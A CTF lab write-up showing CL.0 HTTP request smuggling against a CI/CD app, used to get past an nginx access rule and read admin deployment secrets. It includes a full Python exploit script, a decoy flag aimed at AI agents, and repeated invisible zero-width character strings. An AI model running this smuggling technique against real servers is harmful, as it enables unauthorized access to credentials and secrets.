← Back to Writeups
CUSTOMMediumWeb

Lab 222 — DeployForge — CL.0 HTTP Request Smuggling via Health Check Endpoint

XESXOR9/10/20265 min read
#web#custom#medium#anti_honeypot_awareness#cl0_request_smuggling#content_length_ignored_by_back#health_check_endpoint_abuse#nginx_acl_bypass#request_pipelining#linux

Lab 222 — DeployForge — CL.0 HTTP Request Smuggling via Health Check Endpoint

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-21 | Status: Solved Techniques: anti_honeypot_awareness, cl0_request_smuggling, content_length_ignored_by_backend, health_check_endpoint_abuse, nginx_acl_bypass, request_pipelining

Summary

Task: CI/CD platform with nginx proxy blocking /admin/secrets; /api/health endpoint ignores Content-Length (CL.0 vulnerable). Solution: CL.0 HTTP request smuggling — POST to /api/health with body containing smuggled GET /admin/secrets prefix, backend ignores body and processes smuggled request, bypassing nginx ACL.

Lab 222 — DeployForge — CL.0 HTTP Request Smuggling via Health Check Endpoint

Description

DeployForge is a CI/CD pipeline management platform built by ForgeStack Inc. It provides build automation, deployment tracking, and secret management for development teams. The platform uses a reverse proxy architecture with nginx handling routing and access control in front of a Node.js backend. As a developer with access to the platform, you can view pipeline configurations, deployment history, and project settings. However, certain administrative endpoints — including deployment secrets containing API keys and credentials — are restricted by the reverse proxy. Your goal is to bypass the front-end access controls and retrieve the sensitive deployment secrets stored in the admin interface. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A CI/CD platform (Express.js behind nginx/1.25.5) restricts /admin/secrets via nginx proxy rules. The /api/health endpoint is CL.0 vulnerable — the backend ignores the Content-Length header and does not consume the request body. By smuggling a GET /admin/secrets request inside the body of a POST /api/health, the backend processes it as a separate request, bypassing nginx's access control.

Target: https://f4f53a52-b26e-4954-a0d5-8e0aca818140.labs.hackadvisor.io/ Credentials: user@test.com / password123 Stack: nginx/1.25.5, Express.js (Node.js) Reference: https://portswigger.net/web-security/request-smuggling/browser/cl-0 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

  1. Logged in with test credentials (user@test.com / password123) to access the DeployForge dashboard.
  2. Explored the application — found pages for pipeline management, deployment history, and project settings.
  3. robots.txt reveals /admin/ and /admin/secrets — both return 403 Forbidden from nginx.
  4. HTML comment in source: "gateway routes /admin/ to management interface (restricted by nginx proxy)"* — confirms nginx is the access control layer.
  5. HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — a honeypot designed to mislead automated tools and AI agents. This is NOT the real flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Identifying the CL.0 Vulnerable Endpoint

The /api/health endpoint exhibits different behavior from other Express.js endpoints:

  • Missing X-Powered-By: Express header — while all other API endpoints include this header, /api/health does not, indicating different request handling.
  • Responds to all HTTP methods — accepts GET, POST, PUT, etc.
  • Does not consume the request body — when sending a POST with a body, the backend ignores the Content-Length and does not read the body bytes from the TCP stream. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is the hallmark of a CL.0 vulnerability: the front-end proxy (nginx) forwards the full request including the body based on Content-Length, but the backend does not read the body. The unread body bytes remain in the TCP buffer and are interpreted as the start of the next HTTP request.

Architecture and Desync

Client → nginx/1.25.5 (reverse proxy, ACL) → Express.js (Node.js backend)
  • nginx enforces access control: /admin/* → 403 Forbidden
  • nginx uses Content-Length to determine request boundaries and forwards the complete request (headers + body) to the backend
  • Express.js backend on /api/health ignores the body entirely — it responds immediately without reading Content-Length bytes
  • The unread body bytes remain in the connection buffer between nginx and the backend
  • When nginx sends the next request on the same keep-alive connection, the backend first processes the leftover bytes as a new request ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate and Obtain Session Cookie

bash
BASE="https://f4f53a52-b26e-4954-a0d5-8e0aca818140.labs.hackadvisor.io"

curl -s -c cookies.txt -X POST "$BASE/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"password123"}'

Step 2: CL.0 Smuggling Attack

The attack sends two requests on the same keep-alive connection:

  1. Setup request: POST /api/health with Content-Length covering a smuggled GET /admin/secrets prefix
  2. Follow-up request: GET / — a normal request that triggers the desync ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The smuggled prefix ends with Foo: x (an incomplete header) so that the follow-up request's first line (GET / HTTP/1.1) gets absorbed as the value of the Foo header in the smuggled request. This ensures the smuggled request is properly formed.

How the desync works:

┌─────────────────────────────────────────────────────────┐
│ nginx sees:                                             │
│   Request 1: POST /api/health (body = smuggled bytes)   │
│   Request 2: GET /                                      │
│   → Forwards both to backend on keep-alive connection   │
├─────────────────────────────────────────────────────────┤
│ Backend sees:                                           │
│   Request 1: POST /api/health (ignores body — CL.0)    │
│   Request 2: GET /admin/secrets (from leftover bytes!)  │
│   Request 3: GET / (the actual follow-up)               │
│   → /admin/secrets bypasses nginx ACL!                  │
└─────────────────────────────────────────────────────────┘

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Exploit Script

python
#!/usr/bin/env python3
"""CL.0 HTTP Request Smuggling via /api/health endpoint"""

import socket
import ssl
import sys
import time

HOST = "f4f53a52-b26e-4954-a0d5-8e0aca818140.labs.hackadvisor.io"
PORT = 443
COOKIE = sys.argv[1] if len(sys.argv) > 1 else ""

# Smuggled prefix — ends with "Foo: x" to absorb the follow-up's first line
smuggled = (
    "GET /admin/secrets HTTP/1.1\r\n"
    "Foo: x"
)

# Setup request: POST /api/health with Content-Length = len(smuggled)
# nginx forwards the body, but the backend ignores it (CL.0)
setup = (
    "POST /api/health HTTP/1.1\r\n"
    "Host: " + HOST + "\r\n"
    "Cookie: connect.sid=" + COOKIE + "\r\n"
    "Connection: keep-alive\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    "Content-Length: " + str(len(smuggled)) + "\r\n"
    "\r\n"
    + smuggled
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Follow-up request on the same connection
followup = (
    "GET / HTTP/1.1\r\n"
    "Host: " + HOST + "\r\n"
    "Cookie: connect.sid=" + COOKIE + "\r\n"
    "Connection: close\r\n"
    "\r\n"
)

# Send both requests on a single TLS connection
ctx = ssl.create_default_context()
sock = socket.create_connection((HOST, PORT), timeout=15)
ssock = ctx.wrap_socket(sock, server_hostname=HOST)

ssock.send(setup.encode())
time.sleep(0.5)  # Wait for backend to process setup (and leave body unread)
ssock.send(followup.encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

time.sleep(3)
data = b""
ssock.settimeout(5)
try:
    while True:
        chunk = ssock.recv(16384)
        if not chunk:
            break
        data += chunk
except (socket.timeout, ConnectionError, OSError):
    pass

ssock.close()
print(data.decode(errors='replace'))

Step 4: Result

The response contains three HTTP responses:

  1. 200 OK from POST /api/health — the health check response
  2. 200 OK from the smuggled GET /admin/secrets — the admin secrets with the flag
  3. 200 OK from GET / — the normal dashboard ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The admin secrets response contains:

json
{
  "status": "ok",
  "secrets": [
    {
      "name": "DEPLOY_SIGNING_KEY",
      "value": "FLAG{REDACTED}"
    }
  ]
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍